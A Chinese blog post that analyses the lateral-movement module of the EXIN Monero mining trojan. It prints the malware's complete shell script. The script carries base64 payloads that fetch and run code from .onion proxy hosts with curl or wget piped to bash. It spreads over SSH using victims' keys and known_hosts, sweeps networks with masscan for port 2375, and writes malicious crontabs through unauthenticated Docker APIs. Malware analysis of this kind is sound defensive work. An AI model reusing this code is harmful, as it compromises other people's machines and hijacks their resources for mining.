EXIN挖矿木马之横向渗透分析

EXIN挖矿木马之横向渗透分析

在上一篇挖矿木马调试分析的文章中,已经分析了整个木马的主体部分,但由于篇幅过长,对于该木马横向渗透的部分还没有分析。所以今天再次对整个木马的源码进行复盘,补充上次分析中的疏漏之处。

该文算是上篇木马分析的下半部分,没有看过上一篇文章的朋友可以点击下面的链接看一下,彻底清除exin木马的命令也在里面。

记一次门罗币挖矿木马脚本调试分析

在上一次调试分析中,,我们得到了所有木马可能用到的文件链接。

但是在调试分析的过程中,并不可能一次走完所有的分支流程,这就造成了对部分木马文件的疏漏。所以我这次就将所有的木马文件链接提取出来一并下载整理归纳。

下载链接:exin.zip

这次就是分析RHNM3文件,该木马的横向渗透部分。代码量相对于上次也是少了很多,不过木马作者横向渗透的思路也是很值得我们学习的。我们还是直接看源码。

#!/bin/bash
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
sh="dW5zZXQgSElTVEZJTEU7ZnVuY3Rpb24gZDEoKXsgY3VybCAtLXJldHJ5IDIgLS1jb25uZWN0LXRpbWVvdXQgMjYgLS1tYXgtdGltZSA3NSAtLXVzZXItYWdlbnQgJ01vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC4xMDMgU2FmYXJpLzUzNy4zNicgLWZzU0xrICQxOyB9O2Z1bmN0aW9uIGQyKCl7IHdnZXQgLS10cmllcz0yIC0tY29ubmVjdC10aW1lb3V0PTI2IC0tdGltZW91dD03NSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tdXNlci1hZ2VudD0nTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTEuMC4yNzA0LjEwMyBTYWZhcmkvNTM3LjM2JyAtcU8tICQxOyB9O3UxPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28ub25pb24ud3Mvd3AtY29udGVudC9KNk04NlYiO3UyPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28ub25pb24ubHkvd3AtY29udGVudC9KNk04NlYiO3UzPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28udG9yMndlYi5zdS93cC1jb250ZW50L0o2TTg2ViI7KGQxICR7dTF9fHxkMSAke3UyfXx8ZDEgJHt1Mn18fGQyICR7dTF9fHxkMiAke3UyfXx8ZDIgJHt1M30pfC9iaW4vYmFzaCAmJwo="
cr="TUFJTFRPPScnClNIRUxMPS9iaW4vYmFzaApQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbgoqLzUgKiAqICogKiByb290IGZ1bmN0aW9uIGQxKCl7IGN1cmwgLS1yZXRyeSAyIC0tY29ubmVjdC10aW1lb3V0IDI2IC0tbWF4LXRpbWUgNzUgLS11c2VyLWFnZW50ICdNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MS4wLjI3MDQuMTAzIFNhZmFyaS81MzcuMzYnIC1mc1NMayAkMTsgfTtmdW5jdGlvbiBkMigpeyB3Z2V0IC0tdHJpZXM9MiAtLWNvbm5lY3QtdGltZW91dD0yNiAtLXRpbWVvdXQ9NzUgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtLXVzZXItYWdlbnQ9J01vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC4xMDMgU2FmYXJpLzUzNy4zNicgLXFPLSAkMTsgfTt1MT0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLm9uaW9uLndzL3dwLWNvbnRlbnQvSjZNODZWIjt1Mj0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLm9uaW9uLmx5L3dwLWNvbnRlbnQvSjZNODZWIjt1Mz0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLnRvcjJ3ZWIuc3Uvd3AtY29udGVudC9KNk04NlYiOyhkMSAke3UxfXx8ZDEgJHt1Mn18fGQxICR7dTJ9fHxkMiAke3UxfXx8ZDIgJHt1Mn18fGQyICR7dTN9KXwvYmluL2Jhc2ggJgo="
 
if [ "$(command -v ssh|wc -l)" -eq 1 ]; then
    if [ ! -f /etc/ssh/modulus ]; then
        if [ -d /root/.ssh ]; then
            hb=('/root')
        else
            hb=()
        fi
        for i in $(find /home -mindepth 1 -maxdepth 1 -type d); do
            if [ -d $i/.ssh ]; then
                hb+=("$i")
    	    fi
        done
        for hd in {hb[@]}; do
            if [ -f $hd/.ssh/known_hosts ] && [ "$(find $hd/.ssh -type f -name "id_*" -print|wc -l)" -ne 0 ]; then
                for i in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $hd/.ssh/known_hosts); do
                    ssh -oBatchMode=yes -oStrictHostChecking=no -oConnectTimeOut=8 -t root@$i "unset HISTFILE;echo ${sh}|base64 -d|/bin/bash" &
                done
            fi
        done
        touch -amr /etc/ssh/ssh_config /etc/ssh/modulus
    fi
fi

很明显作者在开头部分用base64编码了sh和cr两段字符串,我们直接在bash下解码查看。

同样解码$cr变量。

接着分析下面的逻辑。

先判断是否有ssh命令,再判断是否有/etc/ssh/modulus 文件。因为正常的主机/etc/ssh/目录下是没有modulus文件的。

仅有一个moduli的文件,我猜测作者是创建一个modulus的文件作为判断依据,而文件名又和moduli相似,混淆视听。

判断root下是否有.ssh目录,熟悉linux的朋友都知道,这个目录主要是用于ssh密钥文件以及之前ssh连接的一些主机信息的。

先判断每个用户下是否有id*文件,分别是自己的私钥和公钥,如果有说明当前主机之前使用密钥连接过其他主机。通过这种方式可以很容易地横向渗透其他主机并植入挖矿脚本。

if [ "$(command -v masscan|wc -l)" -eq 0 ]; then
    if [ -f /usr/bin/apt-get ]; then
	    DEBIAN_FRONTEND=noninteractive
	    apt-get install -y masscan iproute2 >/dev/null 2>&1
    elif [ -f /usr/bin/yum ]; then
	    yum install -y masscan iproute2 >/dev/null 2>&1
    elif [ -f /usr/bin/pacman ]; then
	    pacman -S -y masscan iproute2 >/dev/null 2>&1
    elif [ -f /usr/bin/up2date ]; then
	    up2date install -y masscan iproute2 >/dev/null 2>&1
    fi
fi

然后判断是否安装了masscan扫描工具以及iproute2(也就是ip命令),没有就根据当前不同系统用对应的命令安装,方便进一步横向渗透。

 masscan目前是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。

起初我也在思考为什么作者一定要用masscan而不用nmap。后来用木马作者的参数试了一下,发现masscan的异步扫描速度是真的快,比nmap效率要高得多。对于这种批量渗透的场景,效率确实很重要。

if [ "$(command -v masscan|wc -l)" -eq 1 ] && [ "$(command -v ip|wc -l)" -eq 1 ] && [ "$(command -v docker|wc -l)" -eq 1 ]; then
    if [ ! -f /var/log/alternatives.log.1 ]; then
        eval sl="/var/log/$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 6-11 -n 1))"
        mkdir -p /var/log
        ip -o -f inet a show|awk '/scope global/ {print $4}'|xargs masscan "$@" --ports 2375 --rate=60000 -oG ${sl}
        sed -i -e 's/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g' -e '/Masscan/d' -e '/scanned/d' ${sl}
        while read i; do
            docker -H tcp://$i run --rm -v /:/mnt busybox chroot /mnt sh -c "echo ${cr}|base64 -d|tee /etc/cron.d/crontab"
        done < ${sl}
        rm -f ${sl}
        touch -amr /var/log/boot.log /var/log/alternatives.log.1
    fi
    if [ ! -f /var/log/alternatives.log.2 ]; then
        eval sl="/var/log/$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 6-11 -n 1))"
        mkdir -p /var/log
        masscan "$(curl -fsSLk --max-time 6 https://ipinfo.io/ip)/24" --ports 2375 --rate=60000 -oG ${sl}
        sed -i -e 's/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g' -e '/Masscan/d' -e '/scanned/d' ${sl}
        while read i; do
            docker -H tcp://$i run --rm -v /:/mnt busybox chroot /mnt sh -c "echo ${cr}|base64 -d|tee /etc/cron.d/crontab"
        done < ${sl}
        rm -f ${sl}
        touch -amr /var/log/boot.log /var/log/alternatives.log.2
    fi
fi
exit 0

当masscan,ip,docker都同时可用的情况下,判断/var/log/alternatives.log.1和/var/log/alternatives.log.2文件是否存在,这两个和上面的/etc/ssh/modulus文件的作用都相同,都是标志文件。

然后将网段作为参数传递给masscan,以此直接扫描整个内网的其他主机,若发现开放了2375端口,就利用docker未授权访问写入上面$cr的内容写入主机的crontab执行下载木马。

同样,木马作者肯定不止于扫描内网,会访问https://ipinfo.io/ip这个网站接口获取你的公网ip,以此来扫描你c段的2375端口然后入侵。

接着我按照作者的参数试了一下,扫描了我主机当前的b段。

虽然可能不一定准确,不过效率非常之高,而且发现的数量也很多。可见木马作者的收益应该不少。

另外在另一个脚本中,前一篇文章也简单提过。

毕竟为了实现利益最大化,黑产之间的对抗也可谓是 八仙过海,各显神通!

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。

2条评论

AffiliateLabz 发布于8:16 上午 - 2月 16, 2020

Great content! Super high-quality! Keep it up! 🙂

ufan0 发布于7:32 下午 - 2月 2, 2020

footer年份应该更新啦